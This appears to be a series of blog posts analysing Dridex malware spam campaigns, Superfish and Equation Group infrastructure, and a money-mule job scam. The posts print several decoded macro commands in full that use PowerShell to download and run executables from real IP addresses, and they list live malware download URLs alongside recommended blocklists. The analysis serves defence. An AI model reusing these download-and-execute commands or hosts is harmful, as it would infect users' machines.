Malware spam: "State Department" / "Order state T/N:" with a hidden message

These spam emails claim both to be from the "State Department" and somebody else at the same time, so I guess they must have been sent by the intern at Dridex HQ. And also they have a hidden message, apparently aimed at me..

Attached is a ZIP file that largely matches the reference number in the email, and inside that is a malicious spreadsheet called Order.xls which contains this macro.

In there is the usual combination of an encrypted string and decryption routine. Feed one into the other and you get..

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://85.143.166.123/ssdynamooss/sspidarss.cab','%TEMP%\FgdgFFFgfgF.cab'); expand %TEMP%\FgdgFFFgfgF.cab %TEMP%\FgdgFFFgfgF.exe; start %TEMP%\FgdgFFFgfgF.exe;

But wait.. what's this?

http://85.143.166.123/ssdynamooss/sspidarss.cab

"Пидар" is not in my limited Russian vocabulary, but it seems to translate as a tradition type of meatball in gravy.

Incidentally, 85.143.166.123 is a Pirix IP in Russia, and I have also seen malicious activity on the following Pirix IPs:

85.143.166.123
85.143.166.72
85.143.166.132

37.139.47.167
37.139.47.103
37.139.47.117
37.139.47.105

So I think I'm going to recommend blocking a couple of Pirix /24s at the end.

Anyway.

The macro downloads a file from http://85.143.166.123/ssdynamooss/sspidarss.cab which it saves as %TEMP%\FgdgFFFgfgF.cab and it then attempts to EXPAND it to %TEMP%\FgdgFFFgfgF.exe which doesn't quite work as expected, because the .CAB file is already an .EXE file. Must the the intern again. Anyway, EXPAND simply copies the file from CAB to EXE so it still works.

This executable has a VirusTotal detection rate of 8/57. Automated analysis tools [1] [2] plus some private sources indicate that this malware calls out to some familiar IPs:

82.151.131.129 (DorukNet, Turkey)
121.50.43.175 (Tsukaeru.net, Japan)
74.208.68.243 (1&1, US)

According to the Malwr report,  it drops the same Dridex DLL that has been doing the rounds all day, with a VirusTotal detection rate of 8/57.

Update:
A second spam run is happening, with various senders and subjects, for example:

Byron Pittman , Bill Department
Freda Kelly , Bill Department
Leroy Gallegos , Bill Department
Terrence Reyes , Bill Department
Tyson Miller , Bill Department
Marlene Morales , Bill Department
Royal Byrd , Bill Department
Larry Kramer , Bill Department
Jenna Sparks , Bill Department

There are three different ZIP files, containing either Order.xls, Confirmation.xls or order_tatus.xls (sic). The macro is similar to the one above, but has a couple of other download locations.

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://134.19.180.44/ssdynamooss/sspidarss.cab','%TEMP%\FgdgFFFgfgF.cab'); expand %TEMP%\FgdgFFFgfgF.cab %TEMP%\FgdgFFFgfgF.exe; start %TEMP%\FgdgFFFgfgF.exe;

These are:

134.19.180.44 (Global Layer, NL)
185.48.56.137 (Sinarohost, NL)

Payload is the same as before.

Malware spam: "This is your Remittance Advice #CCI36306" / "Violet Garner [Jodi.1d@ip-35-29-71-77.bgwan.com]" / "Saint Gobain UK"

This fake financial email does not come from Saint Gobain UK but is instead a forgery with a malicous attachment.

From:    Violet Garner [Jodi.1d@ip-35-29-71-77.bgwan.com]
Date:    19 February 2015 at 11:25
Subject:    This is your Remittance Advice #CCI36306

DO NOT REPLY TO THIS EMAIL ADDRESS

Please find attached your remittance advice from Saint Gobain UK.
For any queries relating to this remittance please notify the Payment Enquiry Team on 01484946582

Regards,
SGBD National Payments Centre

I have seen two different versions of the malicious attachment CCI36306.xls, one of which is functionally identical to this one, the other one downloads a file from:

http://hummel-29.de/js/bin.exe

This malicious binary is the same one as used in two other spam runs today [1] [2].

Malware spam: "Marylou Champagne [marylou@droitcour.com]" / "Proforma Invoice"

This fake financial spam comes with a malicious attachment:

From:    Marylou Champagne [marylou@droitcour.com]
Date:    19 February 2015 at 09:41
Subject:    Proforma Invoice

Good Afternoon,

We have your purchase order SP14216 ready to ship.
Please advise if you will prepay or should we send COD.

Thank you,
Marylou

This email is not from Droitcour and their systems and data have not been hacked or compromised in any way. Instead, this is a simple forgery that comes with a malicious Excel document attached.

So far I have only seen a single sample of the attachment Inv SP14216.xls which contains a malicious macro (similar to the one here) which downloads a file from:

http://mondeodoslubu.cba.pl/js/bin.exe

This trojan download is identical to the one I mentioned here and it leads to the same payload.

Malware spam: "Maria Wilson" / "securigroup.co.uk" / "Statement"

This fake financial spam does not come from SecuriGroup, their systems have not been compromised in any way nor has there been any leak of information. Instead, this is a simple forgery with a malicious document attached.

The impact on this innocent company appears to be severe, with their website currently suspended.

I have only seen only sample of the attachment Statement 18 FEB 2015.xls although there are probably other variants. This contains a set of macros [password=infected] which are mostly crap, but the key parts are Modules 13 (the encrypted strings) and 27 (the decrypt function). These macros download a file from the following location:

http://hazardcheck.de/js/bin.exe

This is saved as %TEMP%\FfdgF.exe which has a VirusTotal detection rate of 5/57. Various automated analysis tools [1] [2] [3] show attempted network connections to:

83.169.4.178 (Hosteurope, Germany)
66.110.179.66 (Microtech Tel, US)
202.44.54.5 (World Internetwork Corporation, Thailand)

220.143.5.92 (Chunghwa Telecom, Taiwan)
217.12.203.34 (ITL Company, Bulgaria)

The Malwr report shows it dropper another version of the downloader (VT 3/57) and a malicious DLL (VT 6/57). Payload is probably Dridex.

Some Superfish domains and IP addresses and ranges you might want to look for

In the light of the growing Lenovo / Superfish fuss, I set out to identify those Superfish domains and IPs that I could, for the purposes of blocking or monitoring.

The domains and IPs that I have been able to identify are here [csv].

Superfish appear to operate the following domains (and several subdomains thereof):

venn.me
best-deals-products.com
superfish.com
pin2buy.net
pintobuy.net
similarproducts.net
adowynel.com
govenn.com
group-albums.com
jewelryviewer.com
likethatapps.com
likethatdecor.com
likethatpet.com
likethatpets.com
testsdomain.info
superfish.mobi
vennit.net
superfish.us

These following IP addresses and ranges appear to be used exclusively by Superfish (some of their other domains are on shared infrastructure).

66.70.35.240/28
66.70.34.64/26
66.70.34.128/26
66.70.34.251
66.70.35.12
66.70.35.48

All of those IPs are allocated to Datapipe in the US. Superfish itself is based in Israel, which seems to be a popular place to develop adware.

Do with this data what you will, if you have any more IPs or domains then perhaps you might share them in the Comments.

Multiple spam emails using malicious XLS or XLSM attachment

I'm seeing multiple spam runs (probably pushing the Dridex banking trojan) with no body text, various subjects and either an XLS or XLSM attachment.

Example subjects include:
Copy [ID:15E376774] attaced
RE: Requests documentation [458C28133]
Request error [C3843]
Request error [FDF396530]
Requests documentation [242B035667]

Attachments look something similar to this:
15E376774.xlsm
242B035667.xlsm
458C28133.xls
C3843.xls
FDF396530.xlsm

The XLS and XLSM files are different structurally.. the XLSM files are basically an Office 2007 ZIP archive of all the data components, the XLS files are an old school Office 2003 file. Nevertheless, they contain a macro with 23 components to make it harder to analyse, although the important modules are Module 11 which contains the text string to decrypt, and Module 14 which contains the decryption function itself. Almost everything else is irrelevant.

Once the string is decrypted, it becomes fairly obvious what it going on. So far, there appear to be four strings with different download locations:

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://5.196.243.7/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://46.30.42.151/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://176.31.28.235/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.63/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

So, we can see a file dxzq.jpg being downloaded which is actually a CAB file (JIOiodfhioIH.cab) which is then expanded to JIOiodfhioIH.exe and then run.

For information, these IPs are hosted by:

5.196.243.7 (OVH, Ireland)
46.30.42.151 (Eurobtye LLC, Russia)
176.31.28.235 (OVH, France)
92.63.88.63 (MWTV, Latvia)

This executable has a detection rate of 4/56. Automated analysis [1] [2] [3] shows attempted network connections to:

82.151.131.129 (Doruknet, Turkey)
121.50.43.175 (Tsukaeru.net, Japan)
74.208.68.243 (1&1, US)

The Malwr report shows that it also drops a DLL with a detection rate of just 1/56.

Recommended blocklist:
82.151.131.129
121.50.43.175
74.208.68.243
5.196.243.7
46.30.42.151
176.31.28.235
92.63.88.63

For research purposes, a copy of the files analysed and dropped can be found here, password is infected

This spam does not actually come from Express Insurance nor have their systems or data been compromised in any way. Instead this is a simple forgery with a malicious Word document attached.

There are actually at least two different versions of the document with zero detections [1] [2]. The macros are a bit too complex for pastebin, but you can download a ZIP here and here [password=infected].

Despite the difference, both seem to download from:

http://ecv.bookingonline.it/js/bin.exe

The download file is saved as %TEMP%\FfdgF.exe and has a VirusTotal detection rate of 3/57. Automated analysis tools [1] [2] indicate that it attempts to phone home to:

83.169.4.178 (Hosteurope, Germany)
202.44.54.5 (World Internetwork Corporation, Thailand)
66.110.179.66 (Microtech Tel, US)

This probably drops a Dridex DLL, however the Malwr analysis appears to have malfunctioned and I don't have a sample.

Recommended blocklist:
83.169.4.178
202.44.54.5

An analysis of reported Equation Group IP ranges and domains

There has been a lot of buzz this morning about "The Equation Group", a possible state actor involved in placing malware on hard disks [1] [2] [3] [4].

Securelist (in conjunction with Kaspersky) published a list of domains and IPs to do with this malware, but with very little information about where they were hosted. After all, if they a hosted in a shed next to the bus station in Tiraspol or some underground complex buried under Wutong Mountain, then it's a rather different proposition from some secretive organisation in Washington DC.

Securelist post a number of hardcoded IPs as well as some domain names. Kaspersky have sinkholed some of the domains, and I can see one other active sinkhole. At least one of the domains is parked. Some of the domains look like they are not in use.

The data I collected can be found here, but before you use any of it, I will explain in more detail so you can use it prudently.

There are several web hosts and networks involved, all over the world. Some seem to have a higher certainty of involvement than others. In most cases, the Equation Group have rented a bunch of servers with contiguous IP addresses (I call this the "Equation Range") which is the one that I recommend you monitor. Some web hosts have other suspect IP addresses in the same neighbourhood, but in order to keep things simple I am not going into that.

(Updated 18/2/15 to remove an OpenDNS sinkhole and add 41.222.35.70)

FLAG Telecom / Reliance Globalcom

62.216.152.64/28
80.77.2.160/27
80.77.4.0/26

Allegedly a partner of the NSA and GCHQ, these IP addresses appear to be in the UK, US and Egypt (I would doubt the accuracy of the WHOIS data for the last one). In addition to apparently hardcoded IPs, they also host:

Another company with a long history with the NSA, these Verizon IPs are all located outside the United States, specfically the Netherlands, Singaporre, Japana and Italy. In addition to hardcoded IPs, they are hosting:

Global Telecom & Technology Americas Inc. / Cogent / PSInet

149.12.71.0/26

This Cogent customer has at least four different IPs hosting Equation Group servers. The following domains are hosted:

avidnewssource.com
rubi4edit.com

Colombia: Alfan Empaques Flexibles S.A. / Columbus Networks / IFX Networks / Terremark

190.60.202.0/28
190.60.202.0/28
190.60.202.0/28

The relationship between the US and Colombia is difficult, with the former spying on the latter extensively. Why there should be a cluster of servers in Colombia connected with this is a mystery. In addition to hardcoded IPs, the following domains are hosted in Colombia:

selective-business.com
technicalconsumerreports.com
technicaldigitalreporting.com
technology-revealed.com
melding-technology.com

Czech Republic: Master Internet / IT-PRO / 4D Praha

81.31.34.174
81.31.34.175
81.31.38.160/27

A group of three internet companies (possibly using the same infrastructure) also appear to be involved. All these IPs appear to be in the city of Brno, which is also home to the Czech National Cyber Security Center. Coincidence? The following domains can be found on Czech IPs in addition to hardcoded addresses:

islamicmarketing.net
noticiasftpsrv.com
coffeehausblog.com

I recommend that you look at the data before you do drastic things with these IP ranges.

Now, I don't know for certain that this malware is a government actor, but the IP address indicate that whoever it is has a relationship with these companies (especially Verizon). That certainly feels like a state actor to me..

Something evil on 92.63.88.0/24 (MWTV, Latvia)

I've been tracking Dridex for some time, and I keep seeing IPs for MWTV in Latvia cropping up. So far I have seen:

92.63.88.87
92.63.88.97
92.63.88.100
92.63.88.105
92.63.88.106
92.63.88.108

I'm not sure how widely this spreads through the MWTV network, but I would certainly recommend blocking 92.63.88.0/24 on your network perimeter.

Attached is a Word document Customer statement 0001031389 as on 02052015.DOC which comes in two different types with zero detection rates [1] [2] containing two highly obfuscated modular macros [1] [2]  that actually just perform a ROT13 transformation on a couple of strings.

uggc://zjpbq4.pon.cy/wf/ova.rkr
uggc://nyhpneqban.pbz/wf/ova.rkr

Which decodes to:

http://mwcod4.cba.pl/js/bin.exe
http://alucardona.com/js/bin.exe

This has a VirusTotal detection rate of 5/57. Automated analysis tools [1] [2] [3] shows the malware attempting to connect to:

202.44.54.5 (World Internetwork Corporation, Thailand)
66.110.179.66 (Microtech Tel, US)
92.63.88.105 (MWTV, Latvia)

According to the Malwr report this drops a DLL with a detection rate of 2/57 which is probably Dridex.

Recommended blocklist:
202.44.54.5
66.110.179.66
92.63.88.105

Malware spam: "Unpaid invoice [ID:9876543210]" drops Dridex

This fake invoice comes with no body text, a random ID: in the subject and a randomly-named malicious Excel attachment

Date:    17 February 2015 at 14:05
Subject:    Unpaid invoice [ID:9876543210]

Some example attachment names are:

3356201778.xls
5EABA06572.xls
6F5FE56048.xls
A6AA331555.xls
B2D4C97246.xls
C9E5445852.xls

There are found different variants, all with very low detection rates at VirusTotal [1] [2] [3] [4]. Each one contains a different variety of macros, and unlike previous spam runs, these are individual modules (which frankly makes it no harder to analyse, just harder to put into Pastebin).

When we decrypt the strings in the macro, we see:

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://78.129.153.27/sdeoefefs/dfssk.cab','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.87/sdeoefefs/dfssk.cab','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://62.76.43.194/sdeoefefs/dfssk.cab','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://46.4.232.206/sdeoefefs/dfssk.cab','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

This combines the recent Powershell trick with a new one. Instead of downloading an EXE file, it downloads and unpacks a CAB file, dfssk.cab which is saved in the %TEMP% folder and then expanded to %TEMP%\JIOiodfhioIH.exe.

These download locations are:
92.63.88.87 (MWTV, Latvia)
78.129.153.27 (iomart, UK)
62.76.43.194 (IT House / Clodo-Cloud, Russia)
46.4.232.206 (Hetzner, Germany / Dmitry Zheltov, Russia)

Automated analysis tools [1] [2] [3] show this POSTing to 92.63.88.97 (MWTV,  Latvia), which is definitely worth blocking. Note that one of the download locations for the binary is only a few IPs away at  92.63.88.87.

ThreatExpert also shows attempted network connections to 92.63.88.97 plus:
136.243.237.194 (Hetzner, Germany)
74.208.68.243 (1&1, US)

This Malwr report shows a DLL with MD5 b83b18ffe375fad452c02bdf477864fe which has a VirusTotal detection rate of 3/57.

Recommended blocklist:
92.63.88.97
92.63.88.87
78.129.153.27
62.76.43.194

Good day!
We considered your resume to be very attractive and we thought the vacant position in our company could be interesting for you.

Our firm specializes in advertisment services realizing unique products of creative advertising and branding strategies
and solutions to develop a distinctive brand value.

We cooperate with different countries and currently we have many clients in the USA and the EU.
Due to this fact, we need to increase the number of our destination representatives' regular staff.
In their duties will be included the document and payment control of our clients.
Part-time employment is currently important.
We offer a wage from 3500 GBP per month.

If you are interested in our offer, mail to us your answer on riley@gbearn.com and
we will send you an extensive information as soon as possible.
Respectively submitted

Personnel department

The reply-to address of gbearn.com has recently been registered by the scammers with false WHOIS details. There is also an equivalent domain usaearns.com for recruiting US victims.

Although there is no website, both domains have a mail server at 93.188.167.170 (Hostinger, US) which also serves as one of the nameservers for these domains (ns1.recognizettrauma.net). The other nameserver (ns2.recognizettrauma.net) is on 75.132.186.90 (Charter Communications, US).

Be in no doubt that the job being offered here is illegal, and you should most definitely avoid it.

Malware spam: "L&A Plastic Order# 66990" / "Hannah [Hannah@lapackaging.com]"

This fake financial spam does not come from LA Packaging, their systems are not compromised in any way. Instead, this is a simple forgery with a malicious attachment:

From:    Hannah [Hannah@lapackaging.com]

714-694-0400 Fax
E-mail: Hannah@LAPackaging.com

Attached is a malicious Word document 66990.doc - so far I have only seen one version of this, although there are usually several variants. This document contains a macro [pastebin] which downloads an executable from:

http://hoodoba.cba.pl/js/bin.exe

At present this has a detection rate of 6/57. It is the same malware as seen in this spam run.

Malware spam: "Re: Data request [ID:91460-2234721]" / "Copy of transaction"

This rather terse spam comes with a a malicious attachment:

From: Rosemary Gibbs
Date:    16 February 2015 at 10:12
Subject:    Re: Data request [ID:91460-2234721]

Copy of transaction.

The sender's name, the ID: number and the name of the attachment vary in each case. Example attachment names are

869B54732.xls
BE75129513.xls
C39189051.xls

None of the three attachments are detected by anti-virus vendors [1] [2] [3]. They each contain a slightly different macro [1] [2] [3]. The critical part of the encoded macro looks like this (click to enlarge):

It's quite apparent that this is ROT13 encoded which you can easily decrypt at rot13.com rather than working through the macro. These three samples give us:

"cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://85.143.166.140/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';" 

"cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';" 

"cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://5.196.175.140/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';"

So, these macros are attempting to use Powershell to download and execute the next step (possibly to avoid the UAC popup). The downloaded binary has a VirusTotal detection rate of 3/57 and automated analysis tools [1] [2] [3] show attempted communications with:

85.143.166.72 (Pirix, Russia)
205.185.119.159 (FranTech Solutions, US)
92.63.88.87 (MWTV, Latvia)
173.226.183.204 (TW Telecom, Taiwan)
27.5.199.115 (Hathway Cable and Datacom, India)
149.171.76.124 (University Of New South Wales, Australia)
46.19.143.151 (Private Layer, Switzerland)

It also drops a DLL with a 4/57 detection rate which is the same malware seen in this attack.

Recommended blocklist:
85.143.166.72
205.185.119.159
92.63.88.87
173.226.183.204

So far I have only seen one sample of this, with an attachment named Invoice 0215.doc which has zero detections according to VirusTotal. It contains an obfuscated Word macro which downloads an additional component from:

http://laikah.de/js/bin.exe

Usually there are two or three versions of this document, but I have only seen one. If  you look at the macro code itself, the download location is not encrypted in the code although other elements of the process are encrypted with a string + key combination. Those combinations contain non-printable characters, possibly in an attempt to avoid anaylsus,

This .exe file is downloaded as %TEMP%\345435.exe and it has a VirusTotal detection rate of 3/57.  Automated reporting tools [1] [2] [3] show that this POSTS to 37.139.47.105. It appears that communication is attempted with the following IPs:

37.139.47.105 (Pirix, Russia)
78.140.164.160 (Webazilla, US)
95.163.121.179 (Digital Networks, Russia)

117.223.58.214 (BSNL / Broadband Multiplay, India)
109.234.38.70 (McHost, Russia)

Also, according to the Malwr report, a DLL is dropped with a detection rate of 3/57.

Hi Morgan, could you let me know a time we could talk in the next few days? For HR managers we measure and video the essential functions and physical requirements of each key job so that clients like Coca-Cola and Publix can reduce their hiring risk and job injury risk. I thought you would like to quickly view the process, some interesting examples, and how to use them in your role. Just let me know a time that works in your schedule and I will confirm back, talk then!

This links unicorehealth.net with unicorehealth.com. Indeed, we can find "Bradley Smith" on the unicorehealth.com web site.

I emailed Mr Smith back twice and asked him how he came across the email address. He didn't bother to reply.

Previously I mentioned that I have seen this type of spam before from one particular company, BizSummits, run by Michael Price. In particular, they look for potential names on a website and then spam them, a technique that is highly inaccurate but does seem to be relatively successful nonetheless.

Now, Unicore Health is not BizSummits. But they both use a virtual office address in Altanta, about ten miles apart. So perhaps there is some personal connection between the two businesses or the people behind them.

One of Mr Price's other businesses is called PlugMeIn  (plugmein.com), which claims to reveal the email addresses of key people on certain websites. If this uses the same approach as the BizSummits spam, then it might well be just as inaccurate. And perhaps Unicore Health is using PlugMeIn technology to find email addresses.

But since Brad Smith didn't bother to reply to me, I can't tell if this spam was the result of faulty software, a bad email address list or just plain stupidity. Personally, I won't be buying anything from them soon.

UPDATE - January 2017

For various reasons, I ended revisiting this post and discovered that unicorehealth.net now displays a site "Hartford HR Summit" which is definitely a BizSummits / Michael Price site.

Something evil on 95.163.121.0/24 (Digital Network JSC / com4tel.ru / cloudavt.com)

I've written about DINETHOSTING aka Digital Network JSC many times before, and frankly their entire IP range is a sea of crap, and I have a whole load of blocks in the 95.163.64.0/18 range (including the entirity of 95.163.64.0/10). This latest sea of badness seems to be suballocated to a customer using the 95.163.121.0/24 block.

Just looking at blog posts, I can see badness occurring in the recent past on the following IPs:
95.163.121.71 [1]
95.163.121.72 [2]
95.163.121.188 [3]
95.163.121.216 [4]
95.163.121.217 [5]

That's quite a high concentration of bad servers in a relatively small block. A quick look at what is currently hosted indicates (in my personal opinion) nothing of value, and I would recommend blocking the entire 95.163.121.0/24 range as a precaution.

http://ibw-bautzen.de/js/bin.exe

This is saved as %TEMP%\dsHHH.exe and it has a detection rate of 13/57. Automated analysis tools [1] [2] [3] show the malware POSTing to:

37.139.47.105 (Pirix, Russia)
5.39.99.18 (OVH, France / Olga Borodynya, Russia)

The malware also drop a DLL with a MD5 of 6693f0093a2d6740149de5d6e950f6c6 (VT 6/57) which is the same Dridex DLL used in this campaign.

This email with no body text comes with a malicious Excel attachment:

I have seen just a single sample of this with an attachment D87278F02E.XLS which has a zero detection rate at VirusTotal. This Excel spreadsheet contains this malicious Excel macro [pastebin] which attempts to execute the following command:

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://95.163.121.217/aksjdderwd/asdbwk/dhoei.exe','%TEMP%\oUhjidsf.exe');Start-Process '%TEMP%\oUhjidsf.exe';

The downloaded file dhoei.exe is exactly the same as used in this spam run.
